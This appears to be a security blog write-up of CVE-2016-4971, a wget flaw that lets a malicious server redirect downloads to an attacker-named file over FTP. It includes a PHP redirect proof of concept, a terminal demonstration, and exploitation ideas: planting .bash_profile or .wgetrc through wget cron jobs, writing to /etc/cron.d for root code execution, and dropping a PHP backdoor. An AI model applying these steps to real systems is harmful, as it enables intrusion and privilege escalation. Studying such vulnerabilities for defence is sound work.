wget Arbitrary File upload and Remote code execution


wget is a GNU’s command line tool used for retrieving files using HTTP, HTTPS, and FTP and other Internet Protocols.

This vulnerability is present in wget versions before 1.18. Prior to version 1.18 if wget is supplied with a malicious url it can be tricked into saving arbitrary remote files supplied by the attacker. This when exploited can also lead to root privilege escalation and other vulnerability. This vulnerability was reported in CVE-2016-4971

Example :

When we try to make a request to a server using wget such as wget http://server.org/example.txt wget prior to version 1.18 automatically followed redirects so the attacker who controls the server can fool wget to download a malicious file into the system by issuing a crafted HTTP redirect to a FTP server in response to a wget request.

For example if the server response to the above request is

HTTP/1.1 30X
Content-Type: text/html; charset=UTF-8
Cache-Control: private
Location: ftp://server.org/malicious_file

wget will automatically follow the redirect and will download this malicious file from the ftp server, with the filename in the ftp server. So for example if wget is invoked from home directory I can use this redirect to upload a .bashrc to the remote system.


Create a php file hosted on localhost with the following contents :

    header('HTTP/1.1 301');
    header('Content-Type: text/html');
    header('Cache-Control: private');
    header('Location: ftp://localhost/tmp/exploit');

The file being pointed at ftp://localhost/tmp/exploit can contain any file we want to be downloaded by wget like .bash_profile. Then run the following sequence of commands.

[email protected]:~$ wget --version | head -n1
GNU Wget 1.15 built on linux-gnu.

[email protected]:~$ wget http://localhost/test.php
--2018-03-01 19:48:47--  http://localhost/new.php
Resolving localhost (localhost)...
Connecting to localhost (localhost)||:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: ftp://localhost/tmp/exploit [following]
--2018-03-01 19:48:47--  ftp://localhost/tmp/exploit
           => ‘test.php’

Connecting to localhost (localhost)||:21... connected.
Logging in as pathak-bios ... Logged in!

==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE .bash_profile ... 55
==> PASV ... done.    ==> RETR exploit ... done.
Length: 55 (unauthoritative)

[email protected]:~$ ls -l
total 4
-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 exploit

The exploit with the same name as on the ftp server gets downloaded to the current working directory using wget.

There are some limitation to this :

  • This will not work if extra options that force destination filename in wget are specified as parameter like -O /tmp/output

  • The file can only be uploaded to the current directory for which wget was run. This can however be bypassed if the current directory is home by uploading a .wgetrc config file that can set settings such as destination directory for all download files in future.

Exploitation :

  • Cronjob with wget :

By default cronjobs run within home directory of the cron owner. These wget crons are very common, such a setup can be abused by attackers to upload bash_profile in order to execute commands on user login.

If a cron is run as root then writing first to .wgetrc and then adding a malicious cron at /etc/cron.d/(malicious_cron) provides instant root code execution.

  • Web applications :

An attacker can inject php files to the server to get a backdoor, for example if for a web server we were able to inejct this php file in the root directory we can nivagate to it to gain shell access.

  • Recently a CTF that I was playing also featured this vulnerability in one of their web security challenges.

References :

Bugszilla Redhat